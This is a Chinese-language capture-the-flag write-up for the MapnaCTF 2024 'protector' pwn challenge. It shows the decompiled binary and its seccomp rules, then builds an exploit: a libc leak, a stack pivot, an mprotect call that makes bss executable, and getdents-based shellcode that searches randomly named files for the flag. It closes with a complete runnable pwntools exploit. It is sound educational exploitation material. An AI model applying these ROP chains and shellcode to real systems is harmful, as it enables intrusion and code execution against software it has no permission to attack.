2024-mapna ctf -protector

前言

小组任务,复现了国际赛mapna CTF的protector,一个有点难度的栈溢出ORW

分析

保护分析

1
2
3
4
5
6
[*] '/home/coke/桌面/CTFrecurrent/protector/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

只开启了堆栈不可执行

代码分析

main函数如下

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

disable_io_buffering();
printf("Input: ");
init_sandbox();
read(0, buf, 152uLL);
return 0;
}

disable_io_buffering函数

1
2
3
4
5
6
void disable_io_buffering()
{
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
setbuf(stderr, 0LL);
}

init_sandbox函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 init_sandbox()
{
__int64 result; // rax
__int64 v1; // [rsp+8h] [rbp-8h]

v1 = seccomp_init(0LL);
if ( !v1 )
__assert_fail("ctx != NULL", "code.c", 9u, "init_sandbox");
if ( (unsigned int)seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL) )
__assert_fail("seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0) == 0", "code.c", 0xAu, "init_sandbox");
if ( (unsigned int)seccomp_rule_add(v1, 2147418112LL, 3LL, 0LL) )
__assert_fail("seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(close), 0) == 0", "code.c", 0xBu, "init_sandbox");
if ( (unsigned int)seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL) )
__assert_fail("seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0) == 0", "code.c", 0xCu, "init_sandbox");
if ( (unsigned int)seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL) )
__assert_fail("seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0) == 0", "code.c", 0xDu, "init_sandbox");
if ( (unsigned int)seccomp_rule_add(v1, 2147418112LL, 10LL, 0LL) )
__assert_fail("seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mprotect), 0) == 0", "code.c", 0xEu, "init_sandbox");
if ( (unsigned int)seccomp_rule_add(v1, 2147418112LL, 78LL, 0LL) )
__assert_fail("seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getdents), 0) == 0", "code.c", 0xFu, "init_sandbox");
if ( (unsigned int)seccomp_rule_add(v1, 2147418112LL, 231LL, 0LL) )
__assert_fail(
"seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0) == 0",
"code.c",
0x10u,
"init_sandbox");
result = seccomp_load(v1);
if ( (_DWORD)result )
__assert_fail("seccomp_load(ctx) == 0", "code.c", 0x11u, "init_sandbox");
return result;
}

检查沙箱

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
coke@coke:~/桌面/CTFrecurrent/protector$ seccomp-tools dump ./chall
Input: line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013
0005: 0x15 0x06 0x00 0x00000000 if (A == read) goto 0012
0006: 0x15 0x05 0x00 0x00000001 if (A == write) goto 0012
0007: 0x15 0x04 0x00 0x00000002 if (A == open) goto 0012
0008: 0x15 0x03 0x00 0x00000003 if (A == close) goto 0012
0009: 0x15 0x02 0x00 0x0000000a if (A == mprotect) goto 0012
0010: 0x15 0x01 0x00 0x0000004e if (A == getdents) goto 0012
0011: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL

还存在一个flag随机写的情况,flag文件的名字也不知道

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def get_random_name():
n = random.randint(MIN_NAME_LENGTH, MAX_NAME_LENGTH)
return "".join(random.choice(string.ascii_letters + string.digits) for i in range(n))

def generate_files():
files = [get_random_name() for i in range(FILES_COUNT)]
real_flag_file = random.choice(files)
for filepath in files:
if filepath == real_flag_file:
continue
with open(filepath, "w") as f:
pass
with open(real_flag_file, "w") as f:
f.write(flag)

总结

一个开启沙箱的栈溢出,只能使用READ,WRITE,OPEN,CLOSE函数,还有一些函数下面简单介绍一下

getdents:用于遍历目录的,可能是用于绕过flag文件名未知的情况。

mprotect:修改指定地址的权限的,可以用来绕过NX保护

exit_groupLinux 系统所独有的系统调用,调用后会使得进程的所有线程都退出,这个函数无法使用,不知是为了限制什么。

而且在初始化的时候,将bss段的缓冲区设置为了不缓冲,所以对应的标准输出的缓冲区设置就没了

1
setbuf(_bss_start, 0LL);

利用思路

有ORW,就往BSS段写入ORW的汇编代码,然后ROP设置bss段为可执行后,跳转过去就行,但是在执行的时候需要先知道文件的名称,需要用到getdents系统调用,然后遍历一遍flag文件即可

  • 首先泄露libc地址
  • 然后往bss段写代码
  • 最后设置bss段为可执行
  • 最后执行代码需要实现遍历打印maze目录

泄露libc地址

题目提供了控制rdi,rsi,rdx的gadget,还是很贴心的,直接打印出printf函数的地址,然后往bss段写入数据再栈迁移过去

1
2
3
4
5
6
7
8
9
10
11
12
13
rdi_rsi_rdx = 0x00000000004014d9
ret = 0x000000000040101a
leave = 0x00000000401525
buf = elf.bss() + 0x300

pl = 32*b"A"
pl += p64(buf) + p64(ret)
pl += p64(rdi_rsi_rdx) + p64(elf.got['printf']) + p64(0)*2 + p64(elf.sym['printf'])
pl += p64(rdi_rsi_rdx) + p64(0) + p64(buf) + p64(0x1000) + p64(elf.sym['read']) + p64(leave)
sa(b'Input: ', pl)
libc_base = u64(r(6).ljust(8, b'\x00')) - libc.sym['printf']
li("libc_base ------------------> 0x%x"%libc_base)
mprotect = libc_base + libc.sym['mprotect']

设置bss段为可执行

我们使用mprotect系统调用实现该操作,首先我们了解一下mprotect函数的原型

1
int mprotect(void *addr, size_t len, int prot);

addr:指向要更改保护属性的内存区域的起始地址。这个地址必须是内存页大小的倍数(通常是 4096 字节)。

len:要更改保护属性的内存区域的长度。这个长度会向上取整到内存页大小的倍数。

prot:新的保护属性。可以是以下值的组合:

  • PROT_NONE:内存不可访问。0
  • PROT_READ:内存可读。1
  • PROT_WRITE:内存可写。2
  • PROT_EXEC:内存可执行。4

通过上面原型我们可以知道,我们只需要执行mprotect(bss_buf,0x3000,7)即可,这里的7是指111,也就是可读可写可执行。

转化为对应ROP即可

1
2
3
4
5
6
7
8
rax = libc_base + 0x0000000000045eb0
jmp_rax = 0x000000000040116c
db()
pl = p64(0)
pl += p64(rdi_rsi_rdx) + p64(0x404000) + p64(0x3000) + p64(7) + p64(mprotect)
pl += p64(rax)
li("pl_lenth--------------->0x%x"%(len(pl)))
pl += p64(buf +len(pl)+16) + p64(jmp_rax)

实现对目录的遍历读取

这里给出了getdents系统调用,于是我们还是先看看他的原型是什么

这里给出了一个用该系统调用来进行遍历的读取条目的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <dirent.h>

#define BUF_SIZE 1024

struct linux_dirent {
unsigned long d_ino; /* inode number */
unsigned long d_off; /* offset to next linux_dirent */
unsigned short d_reclen; /* length of this linux_dirent */
char d_name[]; /* filename (null-terminated) */
};


int main() {
int fd;
int nread;
char buf[BUF_SIZE];
struct linux_dirent *d;
int bpos;
char d_type;

// 打开目录
fd = open(".", O_RDONLY | O_DIRECTORY);
if (fd == -1) {
perror("open");
return 1;
}

for ( ; ; ) {
// 调用 getdents 读取目录条目
nread = syscall(SYS_getdents, fd, buf, BUF_SIZE);
if (nread == -1) {
perror("getdents");
return 1;
}

if (nread == 0)
break;

// 解析目录条目
for (bpos = 0; bpos < nread;) {
d = (struct linux_dirent *) (buf + bpos);
printf("d_name: %s\n", d->d_name);

bpos += d->d_reclen;
}
}

close(fd);
return 0;
}

测试后,成功打印出了文件名

![image-20240716165415903](/picture/2024-mapna ctf -protector/image-20240716165415903.png)

也就是说,我们先打开这个文件夹后,再调用该系统调用即可往一个buf输入数据

1
nread = syscall(SYS_getdents, fd, buf, BUF_SIZE);

参数顺序为:文件夹的指针缓冲区缓冲区大小

转换为对应的ROP

1
2
maze = libc_base + 0x21c000
sc = shellcraft.open('./maze') + shellcraft.getdents(3, maze, 0x10000)

就这样简单两条命令即可,这里用的buf是libc的bss段,也可以用文件的heap,或者其他没有使用的可以写的段就行。

实现遍历文件orw

虽然我们获得了文件名,但是buf里面存储的是一个结构体,所以我们需要找到对应的偏移才能找到文件名,要实现遍历文件orw这点很重要。

1
2
3
4
5
6
struct linux_dirent {
unsigned long d_ino; /* inode number */
unsigned long d_off; /* offset to next linux_dirent */
unsigned short d_reclen; /* length of this linux_dirent */
char d_name[]; /* filename (null-terminated) */
};

根据结构体的定义,大概的POC模板如下

1
2
3
4
5
6
7
8
9
10
for (bpos = 0; bpos < nread;) {
d = (struct linux_dirent *) (buf + bpos);
file =d->d_name;
bpos += d->d_reclen; //next filename offset
fd1=open(file,O_RDONLY | O_DIRECTORY);
if(read(fd1,buffer,0x30)>0)
{
write(1,buffer,0x30);
}
}

然后定位一下buf和nread的值在什么寄存器上面即可

![image-20240716174141781](/picture/2024-mapna ctf -protector/image-20240716174141781.png)

发现buf在RSI寄存器里面,RAX保存了nread的大小,R12保存了栈的数据,因为我们栈迁移了,所以需要回滚到前面的栈去

然后我们可以使用R8充当bpos,R11充当d,现在就是找到d_named_reclen对应的偏移即可,d_reclen Offset 为16,d_name Offset为18,所以我们就可以开始写汇编了,但是有个问题就是:

  • 我们可以看到我们在这里面对bpos,d,file进行更改了,需要拿3寄存器保存,而且在调用函数的时候需要用到rsi,rdi,rdx,RSI保存了buf的数据,于是我们需要拿一个寄存器存储,RAX存放了nread的值,于是我们需要拿一个寄存器保存,于是我们需要用到5个寄存器用来保存buf,nread,bpos,d,file,然后实现即可
  • 实现的时候遇到了问题,发现直接用返回的文件名是打不开的,于是我们要在前面加上路径,直接把./maze复制到文件名前面即可
  • 最开始我还以为是文件描述符不够的问题,还加了个close函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
sc += '''
mov rsp, r12;
mov r10, rsi;
/*r10 =buf*/
xor r10, r10;
mov [rsp], r10;
/*ecover rsp to stack and mov 0 to [rsp] ,*/
mov R9,0x2f657a616d2f2e00;


mov r13, r10;
mov r14, r10;
mov r15, r10;

mov r10,rsi;
mov r12, rax;
chioce:
cmp r13,r12;
JNAE orw;
ret;
orw:
add r10,r13;
mov r14,r10;
sub r10,r13;

add r14,0x12;
mov r15,r14;
mov r8,[r14-2]
and r8, 0xffff;
add r13,r8;

mov rdi,r15;
sub rdi,8;
mov [rdi],R9;
add rdi,1;

mov rax, 2;
xor rsi, rsi;
xor rdx, rdx;
syscall;

push rax;
push rax;
pop rdi;
mov rsi, 0x404090;
mov rdx, 0x50;
mov eax, 0;
syscall;

cmp rax,10;
JNLE win;

pop rdi;
mov rax,3;
syscall;
jmp chioce;
win:
mov rdi, 1;
mov rax, 1;
syscall;
ret;
'''

EXP

最后就是总的EXP了,我这里直接贴上,这是可以直接跑的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
# -*- coding=utf-8 -*-
#!/usr/bin/env python3
# A script for pwn exp
from pwn import *
import os
import sys

context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

LOCAL = 0
LIBC = 1
REMOTE = 0
elf_path = './chall'
libc_path = './libc.so.6'
code = ELF(elf_path)
context.arch=code.arch


r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
uu32 = lambda: u32(io.recvuntil("\xf7",drop=False)[-4:].ljust(4, b"\x00"))
uu64 = lambda:u64(io.recvuntil("\x7f",drop=False)[-6:].ljust(8, b"\x00"))
lg = lambda s:io.success('\033[32m%s -> 0x%x\033[0m' % (s, eval(s)))
li = lambda x: log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

if len(sys.argv) == 1:
print ("Welcome to c0ke's simplified pwntools template!!!")
print ("Usage : \n")
print (" python mode.py HOST PORT\n ")
print (" python mode.py [0/1][debug]]\n ")
exit()
elif len(sys.argv)==2:
context.log_level = 'debug'
if(sys.argv[1]== '1'):
LOCAL = 1
else:
LOCAL = 0
else:
REMOTE = 1
server_ip = sys.argv[1]
server_port = int(sys.argv[2])



# --------------------------func-----------------------------
def db():
if (LOCAL):
gdb.attach(io,'''
b main
finish
ni
ni
ni
ni
ni
ni
b *0x4043f8
c
b *0x404423
c
''')


def find_libc(func_name,func_ad):
p(func_name,func_ad)
global libc
libc = LibcSearcher(func_name,func_ad)
libcbase=func_ad-libc.dump(func_name)
li('libcbase',libcbase)
return libcbase

def cat_flag():
flag_header = b'flag{'
sleep(1)
sl('cat flag')
ru(flag_header)
flag = flag_header + ru('}') + b'}'
exit(0)





# --------------------------exploit--------------------------
def exploit():
li('exploit...')
context.log_level = 'debug'

rdi_rsi_rdx = 0x00000000004014d9
ret = 0x000000000040101a
leave = 0x00000000401525
buf = elf.bss() + 0x300

pl = 32*b"A"
pl += p64(buf) + p64(ret)
pl += p64(rdi_rsi_rdx) + p64(elf.got['printf']) + p64(0)*2 + p64(elf.sym['printf'])
pl += p64(rdi_rsi_rdx) + p64(0) + p64(buf) + p64(0x1000) + p64(elf.sym['read']) + p64(leave)
sa(b'Input: ', pl)
#----------------------------> leak libc_base
libc_base = u64(r(6).ljust(8, b'\x00')) - libc.sym['printf']
li("libc_base ------------------> 0x%x"%libc_base)
mprotect = libc_base + libc.sym['mprotect']

#-------------------------------------------> stack Migration
rax = libc_base + 0x0000000000045eb0
jmp_rax = 0x000000000040116c
db()
pl = p64(0)
pl += p64(rdi_rsi_rdx) + p64(0x404000) + p64(0x3000) + p64(7) + p64(mprotect)
pl += p64(rax)
li("pl_lenth--------------->0x%x"%(len(pl)))
pl += p64(buf +len(pl)+16) + p64(jmp_rax)


maze = libc_base + 0x21c000

sc = shellcraft.open('./maze') + shellcraft.getdents(3, maze, 0x10000)
#rsi-> buf r12->0x7ffdb8d098f8 —▸ 0x7ffdb8d0a27c stack
#
sc += '''
mov rsp, r12;
mov r10, rsi;
/*r10 =buf*/
xor r10, r10;
mov [rsp], r10;
/*ecover rsp to stack and mov 0 to [rsp] ,*/
mov R9,0x2f657a616d2f2e00;


mov r13, r10;
mov r14, r10;
mov r15, r10;

mov r10,rsi;
mov r12, rax;
chioce:
cmp r13,r12;
JNAE orw;
ret;
orw:
add r10,r13;
mov r14,r10;
sub r10,r13;

add r14,0x12;
mov r15,r14;
mov r8,[r14-2]
and r8, 0xffff;
add r13,r8;

mov rdi,r15;
sub rdi,8;
mov [rdi],R9;
add rdi,1;

mov rax, 2;
xor rsi, rsi;
xor rdx, rdx;
syscall;

push rax;
push rax;
pop rdi;
mov rsi, 0x404090;
mov rdx, 0x50;
mov eax, 0;
syscall;

cmp rax,10;
JNLE win;

pop rdi;
mov rax,3;
syscall;
jmp chioce;
win:
mov rdi, 1;
mov rax, 1;
syscall;
ret;
'''

pl += asm(sc)
s(pl)
flag=ra()
li("flag---------------------> 0x%s"%flag)

def finish():
ia()
c()


# --------------------------main-----------------------------
if __name__ == '__main__':
if REMOTE:
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)
elf = ELF(elf_path)
else:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process()
else:
io = elf.process()

exploit()
finish()